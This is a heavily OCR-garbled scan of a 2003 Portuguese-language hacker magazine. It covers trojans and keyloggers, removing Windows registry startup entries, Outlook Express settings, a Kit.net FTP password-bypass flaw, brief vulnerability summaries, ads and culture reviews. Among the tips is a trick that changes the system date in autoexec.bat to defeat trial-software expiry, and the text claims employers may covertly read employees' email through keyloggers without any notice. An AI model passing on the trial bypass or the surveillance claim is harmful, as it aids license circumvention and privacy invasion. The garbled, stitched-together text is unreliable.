Antes de prosseguirmos neste estudo, vale uma advertén
cia: virus e programa com caracteristicas virais nao sao o
mesmo. Um programa com caracteristicas virais nao se multi
plica nem danifica o computador. So sera considerado virus
quando introduzido no computador por outra pessoa, que
nao seja o proprietario, e sem a autorizacao deste. Tratam-se
dos malfadados 7rojan Horses, cavalos de Troia, na traducao

literal

Dois sao os alvos fundamentais de um virus 7ro/an Horse,
e talvez esta seja a melhor forma de distinqui-los das demais
especimes virais: abrir uma Backdoor ou funcionar como
Keylogger. Na primeira hipotese, o programa permite que
outro usuario tenha acesso remoto ao computador; enguan
too Keylogger captura as teclas digitadas no computador da
vitima, gravando-as em um arquivo de texto que, periodica
mente, e remetido ao usuario mal-intencionado, interessado

nestas informacoes

O programa-alvo desta materia pode funcionar como
Trojan Horse do tipo Keviogger. E evidente que o programa
em si nao e ilicito, nem tampouco sua programacao configu-
ra ciime. llicito é o uso do programa para fins ilegais, como
violacao de correspondéncia [é importante lembrar que,
juridicamente, “F-mall se caracteriza como correspondéricia
pessoal” (TRT, 32 R. - RO 0634/97 - 42 T. - Rel. Juiz Fernando
Luiz Gongalves Rios Neto - DJMG 04/10/1997)].

Nao comete crime, por exemplo, o empregador que
monitora 0 uso da Internet disponibilizada no local do tra
balho mediante um Keviogger. Afinal, fiscalizar as atividades
do empregado em trabalho nada mais e do que o exercicio
de um direito (artigo 2° da CLT). Desta forma, nada mais

justo que a intervencao do empregador, punindo seu subor

|
| ¥

que usa irregularmente a conexao de Internet




fornecida como ferramenta de trabalho. Embora seja viavel o
prévio aviso dos empregados quanto a monitoracao, ha
quern defenda a tese de que isto seja inexigivel, uma vez que
o contrato trabalhista nao é necessariamente escrito, nao
sendo forcoso concluirmos que, ao enviar ou receber e-mails
no local e horario de trabalho, o empregado concorda taci
tarente com a leitura dos mesmaos, uma vez que sao presu

midamente de interesse da empresa

Com iss0, ja pudemos verificar um uso licito para o pro
grama, capaz de retirar-lhe o estigma de virus. Diferente é a
situacao de gquem camufla o programa dentro de uma ani
macao em Flash e envia este [m“/Tf- pdra um armgo, esperdn

sso receber senhas de e mail e cartao de crédito

ao corm

Dicas gerais para lidar com os virus:

O primeiro conceito importante é determinado pelo virys
“residente na memoria do computador”. Isso significa, ape
nas, que ele é carregado para a memoria do computador
sempre que ligado (virus de bood ou quando o Windows é
iniciado. Os virus de boot sao os mais dificeis de lidar, pois
exigem backup do setor do boot (MBR - Master Boot Record)
do HD. Ja os virus iniciados em conjunto com o Windows
podern ser reparados sem maiaores problemas, desde que, é
claro, nao afetem o préprio sistema operacional; nesta hipo

tese, o que resta é reinstalar o Windows

Muitos virus possuem data de ativacao, o que significa
que a acao destruidora 56 acontece em certa data predeter
minada (ex.; Sexta-feira 13 ou alguma data especial para o
programador), Dessa forma, nada impede que desativernos o
virus antes que "exploda”. Para 1550, € preciso descobrir,
primeiramente, comao o virus é iniciado

/s formas de execucao podem variar conforme a versao do
Nindows, por exemplo: nas versoes 95 e 98 do Windows, é

ivel iniciar um programa inserindo a respectiva chamada
no “autoezec bat”, enquanto que no Windows Millennium
Fdition isso nao @ possivel. Por este motivo, alguns virus
projetados para Windows 95 nao funcionaram no Nindows

Millennium

Alias, ja que citei o Windows 95 e 0 autoexec bat, vou
aproveitar para citar uma curiosidade relacionada aos pro

grarmas mais antigos distribuidos para uso por tempo deter

minado: bastava inserir o comando “date” (ex.: date 17/10/
1980) no “autoexec bat”, para que o programa fosse usado
por tempo indeterminado. Com isto, cada vez que o
Windows fosse iniciado, a data do sistema era alterada para
a que especificassemos depois do comando, desta forma a
data nunca mudaria e o tempo de uso do programa nunca

expiraria, pois sempre estariamos no primeiro dia de uso

Voltando ao estudo a que nos propomaos, vVejamaos madais
um modo de execucao, vale dizer, o mais utilizado por ser
compativel com os sisterma Windows 95, 98, Me e XP. Trata
se do registro, o cérebro do Windows, local onde sao arma
zenadas todas as informacoes fundamentais do sisterna

operacional

Antes de qualquer coisa, fica a adverténcia: use o registro
do Windows por sua conta e risco. Erros no registro podem
fazer com que o sistema nao seja mais iniciado. Portanto,
tenha prudéncia antes de fazer qualquer alteracao no regis
tro do Windows. Siga rigorosamente os procedimentos aqul
descritos e, havendo davida, nao faca qualquer alteracao

(deixo meu e-mail disponivel ao leitor no fim do artigo)

Para abrir o editor do registro, clique no menu /niciar do
Windows e depois em Fxecutar(ou pressione Winkey + F),

digite REGEDIT e tecle FNTER

¢ " Editor do Registro

= HKEY_CLASSES_RCOT
#-{0) HKE'Y_CURIENT_USER
i3 HKEY_LOCAL_MACHINE
- HKEY_USERS

@-{0) HKEY_CURAENT_CON-IC
() HKEY_DYN_DATA

[stas pastas sao chamadas “chaves do registro”. Na meta
de do lado direito sao exibidos os valores contidos em cada
chave e cada valor contém um conjunto de dados

Cada chave tem uma funcao especifica
1)HKEY CLASSES ROOT: na verdade ¢ um atalho para a
chave HKEY LOCAL MACHINENSOFTWARENCLASSES, cuja

finalidade é manter a compatibilidade com os aplicativos 16

bits; isto porque o registro do Windows 3.x apresentava uma
chave chamada HKEY CLASSES ROOT;

2)HKEY CURRENT USER: outro atalho, este para a chave
relativa ao usuario que fez o /ogon no sistema (ex
HKEY_USERSVULIANO, sendo que JULIANO corresponde ao
nome do usuario, ou HKEY _USERS\.DEFAULT);

3)HKEY LOCAL MACHINE: ¢ a chave mais importante;
nela encontramos as configuracoes do Windows, dados de
programas instalados e perifericos. Esta chave € armazenada

no arquivo system.adat.

4)HKEY _USERS: armazena as configuracoes de cada usua
ro, quando ha o /ogon, ha a escolha por uma de suas chaves.

O conteudo desta chave é armazenado no arquivo user.dat:

5)HKEY CURRENT_CONFIG: outro atalho, este para
HKEY_LOCAL MACHINE\Config\0001 (estes numeros finais
correspondem ao perfil de hardware e podem variar); caso
haja mais de um perfil de hardware, vocé pode verificar qual é
o utilizado pelo sistema verificando o valor “CurrentConfig”
na chave

HKEY_LOCAL_MACHINE\CurrentControlSet\ControNDConfigDB;

6)HKEY_DIN DATA: esta chave é curiosa; todas as informa
coes nela contidas (reunidas durante o boot e armazenadas
na memoria RAM) sao dinamicas, ou seja, so existem até que
a sessao seja finalizada, nao sao armazenadas em arquivo e os
dados se referem, por exemplo, a dispositivos Plug and Play

Entendido o funcionamento do registro do Windows, va-
mos ao que interessa: uma das chaves responsaveis pela exe-
cucao de aplicativos durante o boot do sistema é:

—

/ HKEY LOCAL MACHINE\SOFTWARE\Microsoft\

Windows\CurrentVersion\Run

Cada um destes valores se refere a um programa que ¢
executado junto com o boot do Windows, com excecao do

valor “(Padrao)”, pois € um valor vazio (nao contem dados)

Se quiser que o sistema pare de executar alguns destes
programas durante o boot, basta apagar o valor ou os dados
dentro do valor. Para apagar um valor, dé um clique simples
sobre ele com o0 mouse, tecle delete e confirme a exclusdo.
Para apagar os dados de um valor, clique duas vezes sobre
ele com 0 mouse e apague os dados (veja a tela abaixo);
confirme clicando em OK’

No caso da tela acima, com excecao do “ Tweak U/’ todos
0S programas sao essenciais ao sistema e devem ser executa
dos, principalmente o Sys7ray.exe.

Uma forma mais simples é usar um utilitario distribuido a
partir do Windows 98, trata-se do MSCONFIG. Para abri-lo,
clique em Executar, no menu /niciar, digite MSCONFIG e
tecle £nter. Escolha a aba /niciar.

Utilitano de configuragio da sistema

Geral | Systemiri | Winiri| Vos smicos Ficia | Ambente | itemarional|
Margue 3 caia de- para slivar um temde acaka
: “-h‘*ﬁb inicializac o ou desmarque pasa

Registro (ezecuco por computedor)  C:\WINDOWS'
Registio (ezecuclo por computador)  AWINDOWS'
Registio (esecuco por computador]  C:AWINDOWS'
Regstio fesecuco por computador]  SysTrag Exe
Regsire (esecuciio por computador)

Regstro [esecug 3o por computador)

Regisio (evacucio par compatados)

Regsiro fesecugiio par computados)

Regetro fesecuplio par computedor)




Aqgora vocé pode desmarcar as caixas referentes aos

aplicativos que nao devem ser executados no pProximo poot

do sistema. Se ocorrer algo errado é s6 remarcar a caixa de

selecao

Note gue na janela do MSCONHG estao relacionados

outros aplicativos além dos que descobrimos dentro da cha
se do registro gue acabamos de abrir. A razao € muito sim-
s outras chaves também informam os aplicativos gue

serao executados durante o processo de boot

e

As chaves acima, seguidas do sinal (ex.:

HKEY LOCAL MACHINE\SOFTWARE\Microsoft\Windows\
CurrentVersion\Run-), contém os programas excluidos do
processo de boot pelo MSCONFIG. Quando um valor é
desmarcado no MSCONFIG, ele é movido para uma chave-

espelho (cujo nome é seguido pelo sinal *-').

Além do registro, o win.initambém carrega programas:

o Wiilitann ¢ nfiguragio do sistema

Geral | Systemini| Winini| WDs estgicos Inicias | moieve | Intemaional |
muma“wnﬂmmb%mmmammmrmm

somprof. 3l LoadCurrentPy.
Megisio(sevigo por zonputacor)  CAWINDCWS\Sysiembestore'Statek
FRiegistro {se'vigo por zonputacor) CAVINDCWS\STSTEMMEM.ZXZ
Registro (sevigo por ~onputacor) mstask.exe
Regisro C:\Arquivos d2 progamas’Norton AntiVis
egistro CASRCUIVOS CE PROGRAMAS\SYMZ

teste.eve
CAWINDIWSASYETFM\emmnu aee:
julianotoledo.ene

A maioria dos virus possui um mecanismo interessante:

capturam o pedido de desligamento do computa dor e, neste
momento, verificam se ainda estao marcados para serem
carregados no proximo boot do sistema Desta forma, nao

adiantara desmarca-lo no MSCONFIG; sera preciso fazer isso

sem que ele tenha sido executado, ou seja fazendo o boot

do computador no Modo de Seguranca.

Configure corretamente o seu Outlook Express clique no

menu Ferramentas, escolha o item Opcoes. .. e selecione a

aba Lertura

1)Desmarque o item “Download automatico de mensa-
gens ao usar o painel de visualizacdo”, ou desabilite o
Painel de Visualizacdo (Exibir, Layoute desmarque a
opcdo “mostrar o painel de visualizacao”e clique em
OK); isto porque existem virus que sdo executados por

script quando a mensagem € aberta automaticamente;

2)Ainda na aba Lejtura, marque a opcao “Ler todas as
mensagens em texto sem formatacao”;

3)Na aba Seguranca, confirme se o item “Avisar quando

outro aplicativo tentar enviar email como se fosse eu.” e Conhega as publicagaes da Digeraﬁ

esta marcado;

e

4)Se preferir deixar desmarcada a opcao “Nao permitir
que sejam salvos nem abertos anexos que possaim con-

ter virus.”, nao se esqueca de verifica-los como

g107 “mbe 33407 “nbe 3340
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antivirus.

Mas a melhor dica seria: nao use o Outlook Express! Tro-
que-o, por exemplo, pelo 7he Bat! ou pelo Incredimail. 1sto
porque o gerenciador de e-mails da Microsoft e o principal
alvo dos virus. Enquanto nao houver virus destinado, por
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exemplo, ao 7he Bat!, seu computador estara a salvo
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PC Brasil Especial 3
Kit do técnico em hardware contendo 20 softwares
pandla;nﬁmmemngo + discos de boot,

PC Linux |
Sistema Completo: Linux que roda direto do CD.
Nova versao! Demo Linux 3.0 — baseado no

Arquivo Linux 8
i Handrak: 9.0: guia passo-a-passo de instalacdo,
; partici figuragao Web, programas da
i Rs990 Distro, dicas especiais € muito mais.

E-Learning 7

Carso de Inglés interativono CD. As profissdes do
século 21. Colecao aprendizado digital. 1001
macetes para passar no vestibular. Mapa do Brasil
atualizado. Dicionério de sinnimos e verbos.

Cliparts & Cia. 7

Colecao em 3 volumes com as melhores imagens do
mundo. Mais de 25.000 graficose fontes. Faca:
cartfes, anincios, convites, cartazes, malas-diretas,
apresentagdes, Websites, revistas e muito mais!

Click 404 Jogos 9
Exclusivo! todos os jogos rodam direto do CD. Nao
precisa nstalar. Acao, Aventura, Tabuleiro,

Classicos, Corrida, Esportes. % R$ ;,90

Game Blaster 2 : PC Max |

2.(Ds: dezenas de games incriveis! Na Revista: oo P D Informagao pesada para quem gosta de hardware.
Yo-Gi-Oh, Zillion, Akira, Capcom x SNK2, Spider- Coolers para P4, ATI RADEON 9000 PRO, P4 Mobos,
Man. Dicas de PlayStation, PS2, GameCube, R R6590 Truques da BIOS e muito mais.

Game Boy Advance, Xbox, PC.

H4CK3R 8 “ PC Brasil I3

Firewall: transforme seu computador em uma = Facaseus do o Borland Delphi. Mais de
verdadeira fortaleza. Anti-Spam: chega de caixa 25 minutos deaulasuimidiasobre lmguagem de
lotada. Ntop: topo de ferramentas de gerencia- 30 orientada a eventos. C pl

mento de redes. Mais de 30 novos exploits. Fedes Hackers:entrevista exclusiva com Kein Miik.

FAQ 2

As dicas de Delphi que vocé tanto procurava. No
CD: programas e tutoriais. Na revista: manual para
comegar a programar. Banco de Dados: compo-
nentes e codigos para SQL no Delphi ¢ muito mais!

DVD-ROM 3

Disco com o contedido de 14 (Ds!

100 mil cliparts, 200 programas grtis, 650 MB de
drivers, 202 cursos, pacotes de jogos e muito mais.

CD-ROM Aprender 2
Softwares de traducdo, gerador de telemensagens,
central de fax, busca de CEP, diciondrio de sonhos,

#7599 jogos e muito mais.

Literatura Digital |
Todos os fivros de Paulo Coelho em versao digital! Hais:
colecao completa de classicos da literatura universal

TopGames Evolution 24
Wolverine X Goku. Jogue PlayStation: o melhor
emulador,Videos: Metal Gear Solid 2 Substance. Final
Fantasy ¥- ldmsamsdepms.Yunavohaannadae

A perigosa. Jogos: Sonic Quest completo e muito mais.

T1assic as Comprar
TopGames Kids 2
60jogos sem violéncia, rodando direto do (D! Diversao

ideal para os pequenos. Matérias com Samurai Jack,
Sakura Card Captures, Digimon e Dexter.

i TopGames esp. 7
llﬂi/\N'}’l é . Transforme seu PC em maquinas de fliperama e
videogames. Do Atari ao PlayStation, com guia

V
43[ deusona revista. Grétis 500 ROMs para jogar.
T, <kiaddide
Comprar

Geek Especial 4 . =

Aprendaa montar seu proprio computador + (D -

com coleténea especial de programas. P
w B 1:61!58,90
= )

DIGIT AL Comprar
Internet Pratica | w0 & Audio e Video Digital |
Feita para quem quer desenvolver para a Internet, . Programas ¢ dicas para usar em seu micro para
comegando pelas pginas dinamicas, mas entrando processar som e video.
em todos 0 aspectos mais importantes.

TopGames Classicos 2
232 maquinas simuladas com perfeicao,
utilizando uma avanqada técnica desenvolvida

O# RS 9,90 P jogadores. O mundo dos Pinballs. Inédito!

= omprar
X Click 7
Programas especiais para gravagao de (Ds, softwares

Aarte de gravar (Ds: manual e selecao de softwares i aragray
administrativos e muito mais.

no (D -+ 130 cursos completos.

—
TopGames Surpresa 3
500jogos para Windows! -
Simples e divertidos, incluindo grandes classicos.

Of § RS 9,90 Tl 'R$990

il O# RS 9,90

‘Receba a sua rewsta em casa. O frete é gratis

i = Comprar Comprar

E-Learning 2
Aprenda fazendo. Como fazer um upgrade na sua 101 cursos completos & pacote com simulados &
maquina independente do dinheiro que vocé apostilas para concursos pablicos.
tem no bolso. o ;s 3 ‘ RS 11,90

Geek 28

Aeleicdo da década: os top 100 freewares. Mais
P2P (e quem se cansa disso?), a historia das
interfaces e um excelente tutorial de Java.

Audio e Video Digital 7

Mitsica e cinema no computador. S0 0s principais
assuntos da revista. Para quem quer usar o
computador para fazer arte.

Geek especial 12

Cursos e muitos exemplos praticos para quem quer

criar animagoes, filmes e jogos usando a Imguagem
op, 1€ dominou a Internet.

HA4CK3R 2
Saiba o que é o hacktivismo, aprenda a configurar
seu Linux para evitar ataques e muito mais.

O#R$ 9,90

Cursos de Informatica 3
Cursos de 3 Studio, Administragao de redes, Delphi,
AutoCAD, Visual Basic e testes de certificacdo.

Cursos de Informatica 5
Primeira revista do Pafs a fornecer no CD-ROM
material didatico completo de 7 cursos de nivel
superior & pos-graduagao em tecnologia.

The WebMasters 12
D Apreferida pelos profissionais de Internet traz o
fantastico Xara Webstyle 2.0 em versao completa
110 CD. Curso de Flash 3D, software Maya Learning
R$9,90 ition e muito mais!

Meu Computador 8

Desvende os segredos do Photoshop em uma
videoaula exclusiva. Traduza textos em mais de
60 {inguas. 2 CDs brindes!

Faca Yocé Mesmo 2

Aprenda passo a passo tudo o que é necessério
paramontar seu proprio computador e fazer sua
manutencao.

08 R$ 9,90

DVD-ROM com conteiido equivaiente al4.(Ds! Mais

de2.300 softwares, 9 trailers de filmes e muito mais.

e Mande cheque nominal ou vale postal para: Digerati Comunicaao e Tecnologia Ltda.
Endereco: Rua Haddock Lobo, 347 — 12° andar

Cerqueira César —Sao Paulo/SP— CEP 01414-001
Cidade: Estado: CEP: Vocé receber sua(s) revista(s) em casa sem nenhuma despesa adicional.

————— " ——  Paramais informagges: (11) 3217-2600 ou atendimento(@digerati.com.br
Para comprar pela Internet: www.digerati.com
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do), o provedor de hospedagem Kit.net, da
Globo.com, possuia uma falha grave em seu ser-
vidor. A brecha de seguranca, revelada pela equipe do site
Total Security, permitia que um atacante acessasse qualquer
conta do Kit.net, mesmo sem saber a senha, e fizesse qual-
quer modificacao nos sites, inclusive eliminar um por um.

O problema se encontrava em uma falha de autenticacao do
servidor de FTP (File Transfer Protocol) do Kit.net. Quem con-
segue acesso a conta FTP geralmente tem controle total so-
bre o sistema, podendo incluir, eliminar, ler ou modificar
qualquer arquivo.

No caso do Kit.net, bastava saber o login, que geralmente é
o préprio nome do site. A senha era burlada com um coman-
do de dois caracteres (Aw - circunflexo e w), que podia ser
usado para todas as contas. A falha também foi constatada
pelo site de seguranca InfoGuerra. A partir disso, os dois sites
(Total Security e Infoguer.ra) se empenharam para entrar em
contato com a equipe de seguranca da Globo.com, o que ja
havia sido tentado duas vezes antes, sem sucesso.

O supervisor de operacoes do data center, Anderson Lopes,
disse que foram tomadas medidas emergenciais e o servidor foi
bloqueado. De fato, a partir daquele momento, os usudrios
com contas no Kit.net nao mais conseguiram acessar 0 servico
FTP mesmo com as senhas verdadeiras. Lopes disse que o pro-
blema foi repassado para os analistas de seguranca, e a direto-
ria determinou que os detalhes sobre a falha e as providéncias
tomadas so seriam fornecidos apos analises mais profundas.
Até o momento em que essa matéria foi ao ar, nas primeiras
horas de domingo, as tentativas de acesso ao servico FTP, por
intermédio de programas ou pelo endereco ftp.kit.net, falha-
vam e retornavam uma mensagem de ‘time-out’ (tempo de
conexao esgotado). S era possivel transferir arquivos pelo
gerenciador de arquivos, no site do provedor.

falha, inicialmente “para se exibirem”, desfigurando e der-
rubando sites hospedados pelo Kit.net. Mas depois surgiu a
idéia de fraudar o concurso de sites promovido pelo prove-
dor, no qual sdo oferecidos prémios em dinheiro que vao de
R$ 50 a R$ 3 mil. O plano consistia em entrar em alguns
sites, baixar a pagina de votacdo e alterar o cddigo original
para o codigo do site de que se queria aumentar os votos
artificialmente. Depois disso, era s6 colocar a pagina nova-
mente no site invadido e esperar que os votos fossem auto-
maticamente desviados. Felizmente, a informacao sobre a
falha circulava em grupos restritos, e o truque para fraudar o
concurso comecou a ser utilizado apenas um dia antes da
falha ser comunicada a Globo.

Mas nao é a primeira vez que se encontram falhas de auten-
ticacao em servicos da Globo.com. H& mais ou menos cinco
meses, havia uma falha no servico de webmail da empresa,
que permitia, por meio de simples exploits, alterar a senha
de qualquer um de seus usuarios de e-mail e, com isso, ler
todas as suas mensagens. Também era possivel que outra
pessoa recuperasse uma senha cadastrada por um usuario.
Dava um pouco mais de trabalho, mas néao era impossivel.

Apos a Globo ter inaugurado um provedor de acesso e pas-
sado a cadastrar usuarios pagantes, foi descoberta uma
falha de programacédo no formulario de cadastro. O bug
permitia que um usuario pagante se cadastrasse com o mes-
mo login de um usudario de e-mail gratuito da empresa. Essa
falha também foi informada pela Total Securlty a Globo.com
e ja deve ter sido corrigida.

Quase na entrega desse texto ao editor, o InfoGuerra rece-
beu informaces de que o Kit.net teria mais um problema,
que consistia em um usuario recém-criado poder roubar
subdominios de usuérios antigos. Ndo conseguimos verificar
com exatidao qual seria a data-limite entre um subdominio

I VULNERABILIDADES



criado no Kit.net que estava seguro e 0 que nao estava segu-
ro. Mas depois de criado ou roubado um subdominio, o
mesmo ja estava seguro, nao podendo mais ser roubado por
outra pessoa (nem mesmo pelo seu antigo dono). A falha
novamente foi informada a equipe de seguranga da
Globo.com &, até a entrega desta matéria, ndo foram apre-
sentadas solucdes para o fato, declarando apenas ser uma
“falha técnica” (6bvio, né?).

Escrito por Giordani Rodrigues, editor do site de
seguranca wwuw./nfoguerra.com.br
Adaptado por Marcelo Gomes, administrador da

Total Security

Vulnerabilidades de Janeiro/Fevereiro de 2003

Nota: E totalmente impossivel informar em apenas duas
paginas todas as vuinerabilidades identificadas em um
bimestre. Abaixo estdo algumas que eu selecionei. Elas fo-
ram escolhidas aleatoriamente e ndo representam necessari-
amente ser as mais importantes deste bimestre.

Miitiplas vulnerabilidades ne Oracie 8 8 9
As falhas descobertas no Oracle encontram-se na fungao
TO_TIMESTAMP_TZ, TZ_OFFSET, no bindrio ORACLE.EXE, no
diretorio DAV._PUBLIC e em seus parametros e também no
médulo MOD_ORADAY. Quatro falhas séo do tipo buffer
overflow e duas do tipo Denial of Service (DoS).

Falha ne PHP 4.3.8 - O PHP possui um c6digo que
previne o acesso direto aos bindrios CGl com a opgao "—
enable-force-cgi-redirect” e a opcao no php.ini
“cgi.force_redirect”. No PHP 4.3.0 existe uma
vulnerabilidade que pode tornar esta funcéo inativa.

PHP-Nuke 6 (e anteriores) com problemas
na insercdo de avatar - Quando os usuarios se
cadastram, é necessario selecionar um avatar numa
lista disponivel no diretério /images/forum/avatars do
web site. Quando o PHP-Nuke inserir o nome da ima-
gem selecionada no banco de dados, nao ha execucao
de qualquer tag ou checagem de codigos. Entao, um
usudrio pode inserir codigos HTML ou Java que sera
introduzido ao banco de dados e exibir onde quer que
seja mostrado o avatar. Isso pode conduzir a
postagens indevidas e baguncar o forum.

EServ/2.87 com falha de negacio de servige -
htto/www. totalsecurity.com.br/
topics.php?op=viewtopic&topic=8

0 Servidor EServ presta servicos HTTP, FTP, SMTP, POP3,
entre outros. Apesar de-sua funcionalidade, esta vulneravel a
um ataque de negacao de servico. Foram encontrados qua-
tro bugs que permitem dar um 4/ no servidor.

Hyperion FTP Server vulnerdvel a overflow - A
vulnerabilidade existe na versdo 2.8.11, que permite aos
usuarios executarem um cédigo arbitrario no contexto do
sistema. O problema reside no Marby Socket Window e
ftpservx.dll, que nao suportam dir+(buffer=300 byte)

Validagde de Certificagie incorrsta ne Java
Securs Socket Extension = O plug-in do Java e o Java
Web Start podem incorretamente validar um certificado digi-
tal de arquivos JAR. Isso resulta numisite nao-confiavel se

passar por um site confiavel.

Vulnerabllidade de acesso remots no Detproject
A vulnerabilidade existe no arquivo chamado core.p/p, que
é encontrado no diretério /ocale/. Por nao setar o .htaccess
neste diretério, ndo ha nenhuma checagem de seguranga no
arquivo. Um atacante pode chamé-lo diretamente e ler ar-
quivos locais com permisséo contida no servidor Web.

YabhSE vuinerdvel 3 sxecugio remeta de
ehdiges - YabbSE é uma nova versao do popular software
de forum Yabb, que suporta PHP e MySQL. Embora novo, ele
esta vulneravel a global injection. YabbSE mantém todas
suas funcées no diretorio .chamado Sources, no qual nado
esta protegido. Dentro deste diretorio, existe o arquivo
Packages.php, que nao é chamado diretamente. Porém, um
atacante pode chama-lo diretamente através de um script,
rodando entdo um coédigo arbitrario remotamente.

CuteFTP com averflow = CuteFTP é um famoso dlien-
te FTP (File Transfer Protocol) que permite aos usudrios utili-
zarem as capacidades desse protocolo sem que se tenha
conhecimentos sobre ele. Sobre esta falha, é possivel ‘que-
brar' e executar shell codes no cliente CuteFTP, por base de
envio longo (>2048b) de um requerimento de ftp-banner.
Ou seja, um cracker poderia montar um server e invadir as
maquinas de usuarios que se conectassem nele usando o
CuteFTP versao 4 .x.

st

Gallery 1.3.2 permite acessa remoto ao
SBrVer - Gallery é um sistema de gerenciamento de ima-
gens open source que possui uma falha em seu sisteha de
publicacdo na Web. Sua versao 1.3.2 introduziu uma nova
caracteristica que permite aos usudrios publicarem imagens a
um web site usando o Windows XP Publishing. Essa caracte-
ristica introduziu um bug, que permite a um usuario malicio-
so criar uma URL que pegue acesso remoto no servidor Web,
como usudrio-padrao desse servidor, obtendo total controle

do sistema.

AOL corrige vulnerabllidades ne servige de

‘webmall - A AOL nio liberou mais detalhes sobre a

vulnerabilidade no setvico, nem quem foram os responsa-
veis pela}‘g;ggsgmrta, mas garante que 0s problemas fo-
ram corrigidesna manha desta quarta-feira. “Nds acred-
tamos quésomente um numero pequeno de contas - em
torno de ceatenas, nao milhares - foram afetadas”, disse
0 porta-voz, Andrew Weinstein. Pelo que parece, um
cracker poderia invadir a conta de e-mail de um usuério
da AOL apenas digitando o seu nome de usuario, sem a
r}sceiildaac‘ie da senha..

Platinam FTP versien 1.8.11 - A vulnerabilidade
consiste em conseguir acessar diretérios proibidos para
um usuério normal ou até mesmo anénimo. Um usuério
anénimo conseguiria se logar e passar os diretérios prote-
gidos utilizando .././ Além disso, poderia renomear os
arquivos de comando da maquina e fazer uma chamada
maliciosa que finalizaria em um ataque do tipo DoS
(Denial of Service) e faria o consumo de CPU chegar a
100%, travando a maquina.

Fake-Vuln do Bimestre - £m janeiro, um cara,
Squadron, postou

uma noticia dizendo existir uma fal todas as versoes

2 quando explorad acesso com nivel

do OpenSSH desmer
“me falso para p
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SUBCULTURE

Ladytron é um dos destaques da cena Electro-clash

Vocé sabe o que é Electro-clash? Pois é melhor comecar a
baber. O estilo ja esta causando furor na cena eletrénica dos EUA
b da Europa. Trata-se de um revival das batidas eletronicas

aracterfsticas dos anos 80, com influéncia direta de bandas como

raftwerk e seus seguidores, como Depeche Mode e New Order.
A ordem é criar batidas duras e bem constantes, acordes espaciais
L yocais suaves e melodiosos. S6 que nem tudo é igual ao passado:

diferenca agora é que as novas tecnologias de produgao e

Biker Boyz: tao bom que vocé prefere a trilha sonora

\/amos ser um pouco sexistas? Moto, competicao esportiva e

edicdo de som permitem ao Electro (como também é chamado o
estilo) ir muito mais longe do que jamais sonharam as bandas que
atuavam duas décadas atras.

Entre as principais forcas do estilo estao Miss Kitting and The
Hacker, Felix da Housecatse uma banda de Liverpool (que 6timo
lugar para formar uma banda, ndo?) chamada Ladytron. O nome
da banda foi inspirado em uma musica do Roxy Music, mais uma
grande referéncia dos anos 80 para o Electro. Eles ja lancaram
dois albuns, o0 604, de 2001, e o Light & Magic, de 2002.

O primeiro é considerado um dos precursores do “movimento”.
Ja trazia algumas coisas interessantes, especialmente os vocais
falados em bulgaro em “Commodore Rock” - Mira Aroyo, uma
das integrantes, nasceu na Bulgdria - e as melodias marcantes (em
musicas como “Playgirl” e “Skools Out”). Mas o grupo ainda
parecia estar experimentando timbres e possibilidades. No album
mais recente, da para sentir uma maior maturidade. O grupo, ja
famoso, agora se aperfeicoou na combinacao de timbres,
incluindo af guitarra e baixo - 0 60456 tinha teclados - sem
esquecer dos elementos que ja tinham funcionado no disco
anterior. O resultado é simplesmente excelente (confira especial-
mente “Cracked LCD" e “Seventeen”, que ja virou hit).

Seja vocé fa de anos 80 ou ndo, ndo deixe de conhecer esta banda e
o Electro-clash. Ou corre o risco de perder o trem da histéria da musica.

pneus cantando na pista sao coisas pra homem, certo? Bom, nos
nao acreditamos nisso. Principalmente porque, aqui na redacao,
ha quem descarte uma coisa ou outra e mesmo quem odeie todas
as trés. Grosso modo, entretanto, essa € a mensagem
“subliminar” do filme Biker Boyz, que ja deu o ar da graga nos
EUA, mas, até o fechamento desta edicao, nao tinha estréia
prevista no Brasil.

O filme pretende ser um “western” moderno: os “cowboys”
usam suas motos para exibir, é claro, todo o clima linha-dura
caracteristico das producées em que corridas séo o centro da
histdria. Isso significa, é claro, alta velocidade, rivalidade a flor da
pele e mulheres gostosas com roupas provocantes. Enfim, a
principio, é claro, um paraiso para os machoes e a face do Demo
para as feministas.

A histéria gira em torno de advogados e executivos que, longe
dos escritérios, viram selvagens sobre duas rodas. Ha, é claro, um
metido a gostoso, o Smoke (Laurence Fishburne), que, & claro,
tem o reinado ameacado por um novato. Ja sei: cansou de ler “é
claro”? HACK3R explica: & isso mesmo, alguma coisa precisava
ser original - mas nao foi. Logo, a menos que vocé ame uma
motoca, esqueca o filme e compre a trilha sonora: hip hop na
veia. Ah, e rock também.

Livro inaugurou literatura catastrofe

Quem pensa que o género catastrofe nasceu nas tltimas
décadas do século passado, esta completamente por fora. Nos
primeiros anos do século 20, um escritor norte-americano
chamado Jack London lancou um pequeno livro, que talvez seja
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Depois de uma longa temporada de sucesso na MTV norte-
americana e no canal pago Multishow (que inclusive rendeu um
longa-metragem), a série mais aloprada de todos os tempos
finalmente chega aos lares dos menos abastados, através da
MTV Brasil. O programa de pegadinhas hardcore Jackass
apresenta videos semicaseiros, mostrando as mais diversas

o precursor deste género tdo adorado nos dias de hoje. Estamos
falando de “A praga escarlate”, de Jack London.

A praga do titulo é uma doenca fatal parecida com o Ebola,
que surgiu na Africa no comeco dos anos 90. No livro, a praga
escarlate recebe esse nome porque a febre torna o corpo
completamente avermelhado. A morte vinha em poucas horas e
a transmissao era por ar. Ou seja, a vitima, antes de morrer,
contaminava todos a sua volta.

Essa doenca, aparentemente surgida no Brasil, simplesmente
dizimou a humanidade, isolando os poucos sobreviventes que
voltaram a um estado pré-civilizatério, como era de se esperar.

A historia se passa ao redor de uma fogueira, na qual o ultimo
sobrevivente direto da catastrofe tenta contar aos seus netos
histérias sobre a civilizacao. Estes quase ndo entendemnada. A
esperanca do velho é que seus livros ficaram bem guardados em
cavernas, esperando o retorno da civilizacdo. Mesmo assim, o
pessimismo é grande, ja que esse retorno também significara a
volta da polvora.

A praga escariate
Jack London
Editora Conrad
183 paginas

“coisas que vocé nao deve fazer em casa”, do tipo: mergulhar
em um tanque cheio de merda, acionar alarmes de carros
vestindo uma fantasia de gorila, mergulhar entre tubarées
vestindo um fio-dental, apostar corridas com carrinhos de
supermercado e outras atividades tao idiotas quanto. Em
episédios que tém, em média, 30 minutos, Johnny Knoxville e a
galera do Jackass (algo como “cafajeste”, em inglés) fazem as
coisas mais insanas que vocé ja viu. Acha que é exagero? Entao
assista pelo menos uma vez a série e confira com seus proprios
olhos momentos de pura deméncia, escatologia e violéncia
explicita - até agora nao inventaram nada mais podre, nem mais
engracado. Entre os anormais que participam do programa, um
